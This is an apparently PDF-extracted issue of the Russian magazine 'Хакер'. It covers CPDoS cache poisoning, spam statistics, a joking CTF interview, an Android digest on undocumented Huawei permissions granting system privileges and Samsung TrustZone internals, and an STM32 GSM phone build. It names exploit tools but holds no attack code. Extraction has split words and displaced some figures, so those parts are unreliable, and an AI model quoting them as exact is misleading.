ницы  оши бок  HTTP  не  кеширо вались  по  умол чанию.  У  мно гих  пос тавщи ков
услуг  CDN  есть  соот ветс тву ющие  нас трой ки  в  панели  управле ния,  так  что
это  нет рудная  задача.  Так же  мож но  отклю чить  это  в  фай лах  кон фигура ции
сер вера,  добавив  заголо вок  HTTP  «Cache‐Control:  no‐store»  к  каж дому  типу
стра ницы оши бок.

Ко рень  проб лемы  с  CDN‐про вай дерами  лежит  в  сле дующем:  стан дарт
веб‐кеширо вания допус кает, что CDN кеширу ют толь ко коды оши бок 404 Not
Found,  405  Method  Not  Allowed,  410  Gone  и  501  Not  Implemented,  тог да
как  CDN  не  дол жны  кеширо вать  стра ницы  400  Bad  Request,  генери руемые
в  ходе CPDoS‐атак.  Увы,  далеко  не  все CDN  сле дуют  стан дарту,  что  и  при‐ 
водит к воз никно вению проб лем.

По  дан ным  иссле дова телей,  потен циаль ную  уяз вимость  перед  ата ками
CPDoS  демонс три руют  30%  сай тов  из  спис ка  Alexa  топ‐500,  11%  доменов
Минис терс тва  обо роны  США  и  16%  адре сов  из  365  мил лионов  образцов
URL, получен ных из архи ва Google Big Query.

БОЛЬ ШИНС ТВО СПА МА ИСХО ДИТ ИЗ США, РОС СИИ
И УКРА ИНЫ

Ис сле дова тель ская  груп па Data  61  при  Государс твен ном объ еди нении  науч ных  и  прик ладных
иссле дова ний  (Commonwealth  Scientific  and  Industrial  Research  Organisation,  CSIRO)  пред ста‐ 
вила свод ный отчет, пос вящен ный ана лизу самой раз ной вре донос ной активнос ти, от фишин га
до атак мал вари.

Эк спер ты  утвер жда ют,  что  их  отчет  —  пер вый  и  круп ней ший  обще дос тупный  набор  дан ных
такого  рода  и  стро ится  на  осно вании    раз личных  сооб щений  о  вре донос ной
онлайн‐активнос ти и   уни каль ных IP‐адре сов по все му миру.

51  600  000
662 000

В сво ем отче те экспер ты Data 61 дела ют ряд небезын терес ных выводов.

Бо лее   всей спа мер ской активнос ти в пери од с 2007 по 2017 год генери рова ли 
,   и  .

60% Со еди- 
нен ные Шта ты Рос сия Ук раина

На ибо лее труд ные для устра нения угро зы, как пра вило, про исхо дят из  .Ки тая

Что каса ется фишин га, эта активность пос тоян но рас тет, и в 2017 году фишинг уже сос тавлял
 от обще го количес тва всей вре донос ной активнос ти в целом.30%

ДРУ ГИЕ ИНТЕ РЕС НЫЕ СОБЫТИЯ МЕСЯЦА

В нояб ре текуще го года в Twitter зап ретят всю полити чес кую рек ламу

На индий ской АЭС обна ружи ли северо корей ский вирус

Valve огра ничи вает тор говлю клю чами CS:GO, потому что с их помощью отмы вают день ги

«Неуда ляемый» тро ян xHelper заразил 45 000 устрой ств на Android

Мас совая кибера така вывела из строя мно жес тво гру зин ских сай тов

GitLab отка зал ся от при нуди тель ного сбо ра телемет рии из‐за недоволь ства сооб щес тва

Ро боты в япон ских оте лях мог ли исполь зовать ся для слеж ки за посети теля ми

Ком панию Avast пытались взло мать через ском про мети рован ный VPN

Alexa и Google Home могут исполь зовать ся для фишин га и под слу шивать сво их хозя ев

Crowdstrike: соз дание китай ско го самоле та Comac C919 было соп ряжено со взло мами и кибер‐ 
шпи она жем

https://github.com/grant-h/qu1ckr00t
https://xakep.ru/2019/10/31/no-more-political-ads-on-twitter/
https://xakep.ru/2019/10/31/kudankulam-dtrack/
https://xakep.ru/2019/10/30/csgo-keys/
https://xakep.ru/2019/10/30/xhelper/
https://xakep.ru/2019/10/29/georgia-attacks/
https://xakep.ru/2019/10/25/gitlab-telemetry/
https://xakep.ru/2019/10/23/henn-na-hotel/
https://xakep.ru/2019/10/21/avast-hack/
https://xakep.ru/2019/10/21/alexa-google-home-problems/
https://xakep.ru/2019/10/16/turbine-panda/


ИНТЕРВЬЮБЛИЦ-

О ХАКЕРСКОМ ОПЫТЕ
И УЧАСТИИ В CTF

ОМАР ГАНИЕВ
(BECHED)

HEADER

Се год ня у нас в гос тях человек, который силен одновре мен‐ 
но в CTF и воль ной борь бе,  учас тник  коман ды LC↯BC, вхо‐ 
дящей в мировой топ, и иссле дова тель с огромным опы том
за пле чами  — Омар Гани ев AKA beched.

INFO

Се рия «Блиц‐интервью» — корот кие и полушу точ‐ 
ные  интервью  со  спе циалис тами  в  области  ИБ,
под готов ленные  ведущи ми  канала 
экс клю зив но для «Хакера».

@rusecmedia

— Перед тобой вирус на JavaScript, твои дей ствия?
— Писать статью для юных иссле дова телей в «Хакер»!

— Рас ска жи о сво ей ком пании Deteact. Прав да, что твой мно -
голет ний опыт в ИБ поз воля ет исполь зовать такие инс тру мен ты,
как Acunetix и sqlmap?
—  Совер шенно  вер но!  Так же  отме чу,  что  ежед невные  изну ритель ные  тре‐ 
ниров ки  поз воля ют  нам  быс трее  всех  встав лять  кавыч ки  в  парамет ры  зап‐ 
росов,  а  зна ние  инс тру мен та  Format  Painter  в  MS  Word  обя затель но
для получе ния позиции Senior в нашей ком пании.

— Чем был полезен опыт работы в ком пани ях по информа цион ной
безопас ности?
— Кому, общес тву? Но ведь индус трия ИБ  —  это паразит на теле челове чес‐ 
тва!  Глав ной  же  пер сональ ной  поль зой  могу  наз вать  кру гозор,  получа емый
от  тес тирова ния  самых  раз ных  инфраструк тур  и  изу чения  раз личных  биз‐ 
нес‐про цес сов и их угроз.

— Вспом ни свой пер вый CTF. Навыки и опыт в каких вещах помог -
ли в решении заданий? Что сто ит «про качи вать» молодым спе -
циалис там?
—  Конеч но  же,  необ ходимо  про качи вать  хит рость,  изво рот ливость,  уме ние
обме нивать ся  решени ями  с  дру гими  коман дами,  про водить  DoS‐ата ки
на дру гие коман ды, экс плу ати ровать race condition в скор борде, под нимать ся
до рута на сер верах тас ков и воровать фла ги от дру гих тас ков, вып рашивать
фла ги  в  IRC  и  ныть  там  же,  искать  чужие  решения  на  Pastebin  и  так  далее.
В общем, все как в жиз ни! А если серь езно, то нуж но про качи вать вни матель‐ 
ность,  усид чивость,  уме ние  читать  код,  зна ние  боль шого  количес тва  тех‐ 
нологий и атак.

— Какими зах ватами вы занима етесь, кро ме зах вата фла га?
— Бор цов ски ми и рей дер ски ми, жи есть! Ну и зах ватами вни мания.

Омар Гани ев (сле ва) и Ана толий Катюшин (спра ва) пос ле наг ражде ния
на Positive Hack Days III

— В CTF получа ется зарабо тать? На фото выше мы нас читали
при мер но 3200 руб лей. Сколь ко ты выиг рал за пос ледние два
года?
—  Есть  более  козыр ные  фот ки  с  бак сами  =)  Мы,  как  коман да  LC↯BC,
за 2018–2019 годы выиг рали что‐то вро де 200 тысяч дол ларов, так что осо бо
не  зарабо таешь.  Делить  выиг ранные  средс тва  мы  начали  лишь  недав но.
Выиг рыши   —  прос то  побоч ный  эффект,  ведь CTF  в  пер вую  оче редь  хоб би,
и мы активно учас тву ем и в сорев новани ях без при зов.

— Про дол жи анек дот: «Заходят в бар три CTF-ера…»
— А бар мен им говорит: «Луч ше бы ресер чили!»

— Дай пять советов по ИБ для наших читате лей.
— Бро сай, пока не поз дно; изу чай тех нологии, а не толь ко инс тру мен ты; изу‐ 
чай  биз нес  и  эко номи ку  для  понима ния  угроз;  будь  толеран тен  к  тран сген‐ 
дерам, нар команам, CTF‐ерам и т. д. Ну и изу чай OPSEC на чужих ошиб ках!

WWW

•Омар Гани ев в твит тере
•Сайт Deteact

https://tttttt.me/rusecmedia
https://twitter.com/ahack_ru
https://deteact.com/
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Се год ня  в  выпус ке:  бэк дор  в  смар тфо нах  Huawei,  иссле‐ 
дова ние устрой ства защищен ной сре ды исполне ния в смар‐ 
тфо нах Samsung, прос той и надеж ный спо соб зашиф ровать
дан ные  при ложе ния,  опти миза ция  при ложе ния  для  Chrome
OS, объ ясне ние раз ницы меж ду val и const val в Kotlin, а так‐ 
же  новые  инс тру мен ты  пен тестин га  и  боль шая  под борка
биб лиотек для раз работ чиков.

ПОЧИТАТЬ

Бэк дор в смар тфо нах Huawei
  —

статья раз работ чика Magisk о  том,  как Huawei  уда лось реали зовать сис тему
уста нов ки сер висов Google Play на недав но выпущен ный Huawei Mate 30.

Huawei’s  Undocumented  APIs  —  A  Backdoor  to  Reinstall  Google  Services

На пом ним, что в резуль тате раз вязан ной пре зиден том Трам пом тор говой
вой ны  США  и  Китая  Google  была  вынуж дена  разор вать  дей ству ющие  сог‐ 
лашения с ком пани ей Huawei. В резуль тате Huawei боль ше не может легаль‐ 
но уста нав ливать при ложе ния Google на свои устрой ства.

Ка залось  бы,  при ложе ния,  в  том  чис ле  Google  Play,  всег да  мож но  доус‐ 
тановить  из  сто рон них  источни ков. Одна ко  для  их  работы  необ ходимы сер‐ 
висы и биб лиоте ки Google, которые дол жны быть частью про шив ки и не могут
быть уста нов лены отдель но.

Huawei  ока залась  в  без выход ной  ситу ации,  но  энту зиас ты  быс тро  выяс‐ 
нили, что в Сети мож но най ти при ложе ние LZPlay, которое магичес ким обра‐ 
зом уста новит все необ ходимые ком понен ты на устрой ство, при чем его раз‐ 
лочка или рутинг не понадо бят ся.

Ни как ина че, кро ме как с помощью скры того API, реали зован ного Huawei,
или  уяз вимос ти,  LZPlay  работать  не мог,  и Джон Ву  (John Wu),  раз работ чик
Magisk, решил выяс нить, так ли это.

Ока залось,  что  LZPlay  исполь зует  ряд  спе цифич ных  для  Huawei  раз‐ 
решений:

<uses‐permission android:name="com.huawei.permission.sec.MDM_AP
P_MANAGEMENT"/>
<uses‐permission android:name="com.huawei.permission.sec.MDM_IN
STALL_SYS_APP"/>
<uses‐permission android:name="com.huawei.permission.sec.MDM_IN
STALL_UNDETACHABLE_APP"/>
<uses‐permission android:name="com.huawei.systemmanager.permission.
ACCESS_INTERFACE"/>

 сооб щает, что отдель ные из этих раз решений пред назна чены
для  исполь зования  фун кции  MDM,  при  помощи  которой  ком пании  кон тро‐ 
лиру ют  устрой ства  сво их  сот рудни ков.  Но  докумен тация  ничего  не  говорит
о двух раз решени ях,  которые, судя по наз вани ям, нуж ны для уста нов ки сис‐ 
темных при ложе ний:

До кумен тация

<uses‐permission android:name="com.huawei.permission.sec.MDM_IN
STALL_SYS_APP"/>
<uses‐permission android:name="com.huawei.permission.sec.MDM_IN
STALL_UNDETACHABLE_APP"/>

Учи тывая то, что сис темный раз дел в новых устрой ствах Huawei всег да под‐ 
клю чает ся в режиме «толь ко чте ние», эти раз решения поз воля ют дать любому
сто рон нему при ложе нию при виле гии сис темных. По сути, это бэк дор.

Но самое инте рес ное, что исполь зовать эти API могут толь ко при ложе ния,
под писан ные  спе циаль ным  клю чом  Huawei.  Дру гими  сло вами,  Huawei
не  толь ко  зна ла  о  сущес тво вании  при ложе ния  LZPlay,  но  и  одоб рила  его,
выдав раз работ чикам ключ для под писи.

Осо бен ности реали зации TrustZone в смар тфо нах Samsung
  —  рас сказ  об  уяз вимос тях,  най ден ных

в  реали зации  TrustZone  в  смар тфо нах  Samsung.  Пре зен тация  инте рес на
не  столь ко  самими  уяз вимос тями,  сколь ко  под робнос тями  о  внут реннос тях
сис темы.

Breaking  Samsung’s  ARM  TrustZone

Сис тема  TrustZone  пред став ляет  собой  выделен ную  сре ду  исполне ния
внут ри ARM‐сов мести мых чип сетов, логичес ки не свя зан ную с основной сре‐ 
дой  исполне ния,  где  работа ет  опе раци онная  сис тема  смар тфо на  и  поль‐ 
зователь ские  при ложе ния.  Android  исполь зует  TrustZone  для  запус ка  сис тем
шиф рования  и  обра бот ки  сен ситив ной  информа ции,  которая  дол жна  быть
защище на  от  треть их  лиц.  К  TrustZone  име ет  дос туп  толь ко  огра ничен ный
набор  при виле гиро ван ных  сер висов,  а  хра нимая  ей  информа ция  зашиф‐ 
рована и лежит в недос тупной для основной сис темы памяти.

В  слу чае  с  Samsung  внут ри  TrustZone  работа ет  либо  опе раци онная  сис‐ 
тема Kinibi, раз работан ная ком пани ей Trustonic (Samsung Galaxy S3–S9), либо
сис тема TEEGRIS, за авторс твом инже неров самой Samsung (Samsung Galaxy
S10). В пре зен тации речь идет толь ко о Kinibi. Инте рес ные фак ты:

32‐бит ная мик роядер ная ОС;•
раз гра ниче ние пол номочий на уров не сис темных вызовов;•
за пус кает про цес сы (в том чис ле драй веры) голов ной про цесс RTM (Run‐
Time Manager);

•

RTM так же отве чает за ком муника цию меж ду про цес сами с помощью MCI
(Mobicore Communication Interface);

•

при ложе ния могут быть запуще ны из стан дар тной сре ды исполне ния (для
под твержде ния аутен тичнос ти исполь зуют ся циф ровые под писи);

•

при ложе ния  Kinibi  вза имо дей ству ют  со  стан дар тной  сре дой  с  помощью
раз деля емой  памяти,  в  которую  записы вают ся  коман ды  для  при ложе ний
Kinibi;

•

драй веры  реали зова ны  в  фор ме  обыч ных  про цес сов  с  рас ширен ным
набором при виле гий.

•

TrustZone в реали зации Samsung

РАЗРАБОТЧИКУ

Шиф рование дан ных при ложе ния
 — рас сказ о новой Jetpack‐биб лиоте ке androidx.se‐

curity, содер жащей удоб ные и прос тые инс тру мен ты для шиф рования дан ных
при ложе ния.

AndroidX: Security  library

Биб лиоте ка вклю чает в себя два основных клас са:
  —  ана лог  SharedPreferences,  авто мати чес ки

выпол няющий шиф рование клю чей и зна чений, записы ваемых в файл нас‐ 
тро ек;

• EncryptedSharedPreferences

 выпол няет авто мати чес кое шиф рование фай лов с помощью
собс твен ных реали заций клас сов FileInputStream и FileOutputStream.

• EncryptedFile

Поль зовать ся  биб лиоте кой  очень  прос то.  Под клю чаем  биб лиоте ку
с помощью Gradle:

implementation "androidx.security:security‐crypto:1.0.0‐alpha02"

За тем  соз даем  клю чи шиф рования  (биб лиоте ка  авто мати чес ки  сох ранит  их
в KeyStore, который в сов ремен ных телефо нах исполь зует защищен ную сре ду
TEE):

val keyGenParameterSpec = MasterKeys.AES256_GCM_SPEC
val masterKeyAlias = MasterKeys.getOrCreate(keyGenParameterSpec)

Да лее соз даем объ ект клас са EncryptedSharedPreferences:

val sharedPrefs = EncryptedSharedPreferences.create(
       ИМЯ_ФАЙЛА,
       masterKeyAlias,
       context,
       EncryptedSharedPreferences.PrefKeyEncryptionScheme.AES256_SIV,
       EncryptedSharedPreferences.PrefValueEncryptionScheme.AES256_GCM
)

Все, теперь   мож но исполь зовать вмес то стан дар тно го объ екта
  для  хра нения  и  извле чения  нас тро ек.  Все  они  будут

авто мати чес ки  зашиф рованы с  помощью  клю ча,  который не  удас тся  узнать,
даже получив пра ва root на устрой стве.

sharedPrefs
SharedPreferences

Так выг лядят зашиф рован ные нас трой ки

Val vs. const val
 —  замет ка  о  раз личи ях  меж ду 

и   в Kotlin.
To  val,  or  to  const  val,  that  is  the  question val
const val
Возь мем сле дующий при мер:

val FANCY_VAL = 1
const val FANCY_CONST_VAL = 2

Обе эти перемен ные немоди фици руемые, но вто рая объ явле на с клю чевым
сло вом   в начале. Что это зна чит на деле? Во‐пер вых,   ста нет
при ват ной перемен ной, для дос тупа к которой будет соз дан гет тер. Это мож‐ 
но уви деть, если ском пилиро вать код и затем деком пилиро вать его в Java:

const FANCY_VAL

public final class ConstValKt {
   private static final int FANCY_VAL = 1;
   public static final int FANCY_CONST_VAL = 2;

   public static final int getFANCY_VAL() {
       return FANCY_VAL;
   }
}

Во‐вто рых,  перемен ная    будет  заин лай нена,  то  есть  ком‐ 
пилятор  заменит  все  получен ные  зна чения  этой  перемен ной  на  само  зна‐ 
чение.  Это  тоже  мож но  уви деть,  если  написать  код,  исполь зующий  эти
перемен ные, а затем ском пилиро вать и деком пилиро вать его.

FANCY_CONST_VAL

Ори гиналь ный код:

public static void main(String[] args) {
   System.out.println(ConstValKt.get_FANCY_VAL());
   System.out.println(ConstValKt.MY_FANCY_CONST_VAL);
}

Де ком пилиро ван ный код:

public static void main(String[] var0) {
   System.out.println(ConstValKt.getFANCY_VAL());
   System.out.println(2);
}

Вы вод:   поз воля ет опти мизи ровать код, изба вив шись от ненуж ных
гет теров и обра щений к перемен ным.

const val

Оп тимиза ция при ложе ния для Chrome OS
  —  статья  раз работ чиков

Chrome OS о том, что нуж но сде лать, что бы Android‐при ложе ние ста ло удоб‐ 
ным для поль зовате лей Chrome OS. Основные момен ты:

Optimizing  Android  app  experiences  for  Chrome  OS

•  С  этим  все  прос то,  Android  с  пер вых  вер сий
под держи вает  кла виату ру.  Для  обра бот ки  нажатий  кла виш  дос таточ но
добавить в активность один обра бот чик:

Под дер жка кла виату ры.

override fun onKeyUp(code: Int, ev: KeyEvent?): Boolean {
    return when (code) {
        KeyEvent.KEYCODE_J ‐> {
            // Обрабатываем нажатие
            true
        }
        else ‐> super.onKeyUp(code, ev)
    }
}

Сле дует иметь в виду, что ноут буки на Chrome OS осна щены спе циаль ной
кла вишей «Обно вить» (код кноп ки:  ). В Android‐при ложе‐ 
ниях  эта  кноп ка  по  умол чанию  запус кает  обновле ние

.

KEYCODE_REFRESH

SwipeRefreshLayout
•   Поль зовате ли  Chrome  OS  ожи дают,  что  свайп  дву мя  паль цами
по тач паду будет про маты вать экран. Это поведе ние авто мати чес ки рас‐ 
простра няет ся на Android‐при ложе ния, но если необ ходимо обра баты вать
эти  дей ствия  раз дель но,  то  сле дует  игно риро вать    с  сос‐ 
тоянием кно пок, рав ным нулю ( ).

Тач пад.

MotionEvent
event.getButtonState() == 0

•   Если  Android‐при ложе ние  исполь зует  натив ные  биб лиоте ки
для  плат формы  ARM,  Chrome  OS  будет  при менять  x86‐тран сля тор
для запус ка  кода биб лиоте ки. Это сни жает про изво дитель ность, поэто му
раз работ чику  сле дует  вклю чать  в  при ложе ние  биб лиоте ки  для  плат форм
ARM, x86 и AMD64.

NDK.

•   Android  уже  дав но  поз воля ет  исполь зовать  раз ную  раз метку
и метод навига ции в зависи мос ти от ори ента ции и раз мера экра на. Под‐ 
дер жка раз ных устрой ств и положе ний экра на авто мати чес ки сде лает при‐ 
ложе ние  более  удоб ным  в  исполь зовании  на  устрой ствах  с  Chrome  OS.
Так же сто ит сде лать обра бот чик сме ны раз решения в кол бэке 

  на  слу чай,  если  поль зователь  под клю чит  внеш ний
монитор.

Раз метка.

onConfigu‐
rationChanged

НОВЫЕ БИБЛИОТЕКИ KOTLIN

 — под борка
из десяти новых, написан ных на Kotlin биб лиотек:
10 New Android Kotlin  Libraries You Should Check Out This Winter

1.    —  инди катор,  показы вающий  текущую  стра ницу  ViewPager
(или ViewPager2).
Dots  Indicator

2.   — гиб кий, кас томизи руемый кален дарь.CalendarView
3.   — биб лиоте ка для соз дания пла вающих окон.EasyFloat
4.    —  биб лиоте ка  для  соз дания  тай млай нов  (событий,  сле‐ 
дующих друг за дру гом).
Timeline‐View

5.   — биб лиоте ка заг рузки изоб ражений (ана лог Picasso и Glide).Coil‐Kt
6.   — еще один кален дарь.Simple Calendar
7.   — дро вер  (выез жающая  с  левой  сто роны  экра на  панель)
в сти ле Material Design.
Material Drawer

8.   — фун кция‐рас ширение для быс трой про вер ки усло вий (в том чис‐ 
ле в бил дерах).
What if

9.   — DI‐фрей мворк, ана лог Dagger без реф лексии.Koin
10.   — биб лиоте ка фун кци ональ ного прог рамми рова ния.Arrow‐kt

ИНСТРУМЕНТЫ

 — нашумев ший экс пло ит axi0mX для взло ма заг рузчи ков iPhone;• Ipwndfu
  —  скрипт  для  авто мати чес кой  заг рузки  и  рас шифров ки  заг‐ 

рузоч ных обра зов iPhone (базиру ется на экс пло ите axi0mX);
• Decrypt0r

 — вир туаль ная машина для пен теста мобиль ных при ложе ний;• MOBEXLER
 — инс тру мент для иден тифика ции семей ств мал вари;• Amtracker

 — набор скрип тов для про вер ки нас тро ек безопас‐ 
ности устрой ства.

• Android‐device‐check

БИБЛИОТЕКИ

 — биб лиоте ка для соз дания опро сов в сти ле ResearchKit для iOS;• SurveyKit
  —  прос тая  биб лиоте ка  для  выбора  адре са  с  помощью

Google Maps;
• AddressPicker

 — биб лиоте ка для вво да PIN‐кодов;• PinLockView
 — биб лиоте ка  для  работы  с Window  Insets  (обра бот ки  сос тояний

изме нения гра ниц экра на при ложе ния);
• Insetter

 — инс тру мент для отладки при ложе ния пря мо на устрой стве;• Beagle
  —  OkHttp‐биб лиоте ка  для  записи  и  вос про изве дения  отве тов

сер вера в Unit‐тес тах;
• OkReplay

  —  реак тивный  фрей мворк  для  управле ния  сос тоянием  фраг‐ 
ментов;

• Formula

 — фрей мворк для соз дания сер верных HTTP‐при ложе ний на Kotlin
по прин ципу Server as function;

• Http4k

 — биб лиоте ка для вклю чения/отклю чения отдель ных фун кций при‐ 
ложе ния в зависи мос ти от бил да или нас тро ек;

• Flipper

 — биб лиоте ка data flow для Kotlin;• Uniflow‐kt
  —  ани миро ван ная  панель  навига ции  в  ниж ней  час ти

экра на;
• SmoothBottomBar

 — кра сивый диалог.• ElegantDialog
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COVERSTORY

Что твой телефон зна ет о тебе? Нас коль ко надеж но он хра‐ 
нит информа цию и кто име ет к ней дос туп? К счастью, изго‐ 
товить  и  зап рограм мировать  собс твен ный  мобиль ный
телефон  теперь мож но бук валь но  за  нес коль ко  дней.  Что  я
и сде лал, а теперь и тебе покажу, что для это го нуж но.

Все началось с того, что некото рое вре мя назад я собирал для себя телефон
на  модуле  свя зи  GSM.  Сов ремен ная  элек тро ника  была  раз мещена  в  вин‐ 
тажном  кор пусе  с  внеш ней  труб кой  и  дис ковым  номеро наби рате лем  (пом‐ 
нишь  ли  ты  еще,  как  ими  поль зовать ся?).  Увы,  из‐за  неп родуман ной  схе мы
зво нить с него было неудоб но.

Тог да я решил пред при нять вто рую попыт ку, но уже с новой кон цепци ей.
Хотелось  соз дать  ком пак тное  устрой ство,  выпол няющее  фун кции  прос того
кно поч ного телефо на и при этом при год ное к прак тичес кому исполь зованию.
В иде але заряда даже от неболь шого акку муля тора дол жно хва тать минимум
на  неделю. Никаких  лиш них  сер висов,  подоз ритель ных  при ложе ний  и  надо‐ 
едли вых уве дом лений, толь ко самое необ ходимое — звон ки, SMS и телефон‐ 
ная книж ка.

По мне нию всех ведущих спе циалис тов с мировым име нем, тут десять
бал лов из десяти по шка ле ремон топри год ности

Про ект демонс три ровал ся на   и,  к моему  (при ятно‐ 
му) удив лению, выз вал инте рес у широкой ауди тории. Мно гим было любопыт‐ 
но  узнать  внут реннее  устрой ство  мобиль ного  телефо на,  поэто му  сегод ня  я
под робно рас ска жу, как мож но соб рать подоб ный гад жет самос тоятель но.

Chaos Constructions 2019

WARNING

Увы,  сис тема  сотовой  свя зи  по  умол чанию  поз‐ 
воля ет опе рато рам   прак‐ 
тичес ки  в  режиме  реаль ного  вре мени  и  с  точ‐ 
ностью  поряд ка  двад цати  мет ров  (за  счет  три‐ 
ангу ляции с нес коль ких вышек). C уче том рос сий‐ 
ской прак тики выдачи симок в обмен на пас пор‐ 
тные  дан ные,  ситу ация  выг лядит  печаль ной.
На  самом  деле  уйти  из‐под  над зора  телеком‐ 
муника цион ных  ком паний  тоже  воз можно,
но такие спо собы выходят за рам ки этой статьи.

сле дить за або нен тами

БЛОК-СХЕМА КОМПОНЕНТОВ
Спер ва  опре делим ся  с  тре бова ниями  к  устрой ству:  нам  нуж но  совер шать
исхо дящие  звон ки,  при нимать  вхо дящие,  читать  и  писать  SMS  (в  том  чис ле
на кирил лице) и управлять кон такта ми в телефон ной кни ге. Это базовая фун‐ 
кци ональ ность,  которую  поль зовате ли  ожи дают  от  кно поч ных  телефо нов.
Конеч но,  это далеко не пол ный спи сок и  тут  не  хва тает  как минимум встро‐ 
енных игр  (змей ки или тет риса), но их лег ко будет добавить уже на финаль‐ 
ном эта пе.

Клю чевым  ком понен том  устрой ства  ста нет  модуль  сотовой  свя зи
. Он содер жит пол ный ради отракт, ауди отракт и реали зует основные

фун кции работы с сетью GSM. Ины ми сло вами, это прак тичес ки готовый мост
GSM‐UART, который нуж дает ся лишь в управле нии через внеш ний тер минал.

SIM800C

Для  это го  нам  пот ребу ется  экран,  кла виату ра  и  какой‐нибудь  мик рокон‐ 
трол лер для выпол нения основной прог раммы. В качес тве экра на я исполь‐ 
зовал  дис плей ный  модуль    с  раз решени ем  128  на  160  пик селей.
К нему у меня уже была готовая биб лиоте ка, которая поз воляла отри совы вать
сим волы и гра фичес кие при мити вы. По боль шому сче ту выбор дис плея нек‐ 
ритичен для про екта, и ты можешь исполь зовать любой дру гой с под ходящей
диаго налью.

ST7735

Кла виату ра  с  шес тнад цатью  кноп ками  реали зова на  на  сдви говых  регис‐ 
трах  (пара  вось мибит ных  мик росхем  74HC165  ( ).  Так же  ты  можешь
исполь зовать их оте чес твен ный ана лог — мик росхе мы ком пании «Интеграл»
КР1533ИР9.  В  любом  слу чае  выход  таких  регис тров  пред став ляет  собой
непол ноцен ный SPI, так как даже при отклю чении они не перехо дят в 

. Поэто му вмес то аппа рат ной и сов мещен ной с дис‐ 
пле ем шины SPI для них исполь зовалась прог рам мная реали зация.
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вы соко‐ 
импе дан сное сос тояние

Уп равлять  всем  будет  мик рокон трол лер  семей ства  STM32.  Так  как  осо‐ 
бого  быс тро дей ствия  не  тре бует ся,  подой дут  даже  бюд жетные  решения.  Я
оста новил свой выбор на F103C8T6  ( ),  его ресур сов  тут  дол жно  хва тить
с  избытком.  Кро ме  того,  имен но  на  таком  мик рокон трол лере  выпус кает ся
извес тная модель ная линей ка отла доч ных плат BluePill (прек расное средс тво
для  избавле ния  от  Arduino‐зависи мос ти).  Это  поз волило  соб рать  про тотип
и про тес тировать работу ком понен тов прак тичес ки с самого стар та.
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Не кото рые  мик росхе мы  F103C8T6  име‐ 
ют  128  Кбайт  памяти  вмес то  заяв ленных
по докумен тации 64 Кбайт. Одна ко это отно сит ся
к  ,  и  рас‐ 
счи тывать на «лиш ний» банк памяти не сто ит.
не доку мен тирован ным  воз можнос тям

Поз же (и в качес тве при ятно го бонуса) я решил добавить в про ект внеш нюю
пос тоян ную  память  W25Q32  ( )  на  32  Мбит.  Это  поз волило  не  переза‐ 
писы вать флеш самого мик рокон трол лера и хра нить все кон такты отдель но.
Кро ме того, появи лась воз можность заг ружать на телефон кар тинки, сим волы
и про чие эле мен ты рас тро вой гра фики.
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Са ма схе ма мобиль ного телефо на дос таточ но стан дар тная и в ком мента‐ 
риях  вряд  ли  нуж дает ся.  SIM800C  вклю чает ся  при  подаче  низ кого  уров ня
на  вывод  REST  (исполь зует ся  тран зистор  Q1,  соеди нен ный  с  кон тактом
PA0  мик рокон трол лера).  Допол нитель но  све тоди оды  VD2  и  VD3  ука зыва ют
на  сос тояние  ради омо дуля.  VD2  мига ет  при  успешном  под клю чении,  тог да
как VD3 горит все вре мя, пока SIM800C акти вен.

Прин ципи аль ная схе ма устрой ства

Ком понен ты раз мещены на двух односто рон них печат ных пла тах, пре иму щес‐ 
твен но повер хностным мон тажом. Пер вая пла та содер жит ради омо дуль, мик‐ 
рокон трол лер,  мик росхе му  внеш ней  памяти  и  разъ емы  для  под клю чения
антенны и динами ка. Вто рая пла та целиком и пол ностью отда на под кла виату‐ 
ру. Соб ранная конс трук ция помеща ется в кор пус из орг стек ла и зак репля ется
на стой ках М3.

Пи тает ся  наше  устрой ство  от  литий‐полимер ного  акку муля тора
на 1500 мА  ⋅  ч.  Его емкость при мер но  в два раза ниже,  чем  у  сов ремен ных
флаг ман ских  смар тфо нов,  но  и  ее  хва тает  при мер но  на  неделю  в  режиме
ожи дания (пот ребле ние око ло 6 мА) или на сут ки активно го поль зования (пот‐ 
ребле ние око ло 40 мА).
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Во обще  говоря,  боль шая  часть  исполь зован ных
элек трон ных ком понен тов сей час дос тупна в виде
готовых  оце ноч ных  плат  или  модулей.  Поэто му,
если  тебе  не  хочет ся  возить ся  с  раз водкой  плат
и  пай кой  мик росхем,  ты  можешь  соб рать  все
на бес паеч ных макет ках.

НАСТРАИВАЕМ UART
Се год ня сущес тву ет мас са вари антов для прог рамми рова ния мик рокон трол‐ 
леров. Это и раз личные язы ки  (С/С++, Rust), и самые раз нооб разные прик‐ 
ладные биб лиоте ки, абс тра гиру ющие раз работ ку от аппа рат ного уров ня (HAL
от  ST  Microelectronics,  Arduino  Core  и  дру гие).  Я  исполь зовал  в  про екте
канонич ный C и откры тую  .libopencm3

WWW

Пол ный  ком плект исходных фай лов про екта дос‐ 
тупен в   на GitHub.ре пози тории

Пер вым  делом  сле дует  ини циали зиро вать  UART1,  ведь  имен но  он  отве чает
за обще ние с ради омо дулем. Парамет ры стан дар тные: 115 200 бод и 8N1.

static void usart1_setup(void){
   /* Enable clocks for GPIO port A (for GPIO_USART1_TX) and USART1 
*/
   rcc_periph_clock_enable(RCC_GPIOA);
   rcc_periph_clock_enable(RCC_USART1);
   /* Enable the USART1 interrupt */
   nvic_enable_irq(NVIC_USART1_IRQ);
   /* PA9 TX,PA10 RX */
   gpio_set_mode(GPIOA, GPIO_MODE_OUTPUT_50_MHZ, GPIO_CNF_OUTPUT
_ALTFN_PUSHPULL, GPIO_USART1_TX);
   gpio_set_mode(GPIOA, GPIO_MODE_INPUT, GPIO_CNF_INPUT_FLOAT, 
GPIO_USART1_RX);
   /* Setup UART parameters */
   usart_set_baudrate(USART1, 115200);
   usart_set_databits(USART1, 8);
   usart_set_stopbits(USART1, USART_STOPBITS_1);
   usart_set_mode(USART1, USART_MODE_TX_RX);
   usart_set_parity(USART1, USART_PARITY_NONE);
   usart_set_flow_control(USART1, USART_FLOWCONTROL_NONE);
   usart_enable_rx_interrupt(USART1);
   usart_enable(USART1);
}

Пос ле  это го  логич но  как‐то  орга низо вать  отправ ку  команд  на  модуль.  Нап‐ 
ример, c помощью сто рон ней реали зации  . Для это го исполь зует ся
биб лиоте ка  . Ее код хорошо опти мизи рован и занима ет все го нес коль‐ 
ко  килобай тов  памяти.  Биб лиоте ку  сле дует  под пра вить  для  работы  с 

, бук валь но нес коль ко строк.

printf()
rprintf

li‐
bopencm3

#38  #define UART USART1
...
#95  vfprintf_((&usart_send_blocking), format, arg);
...
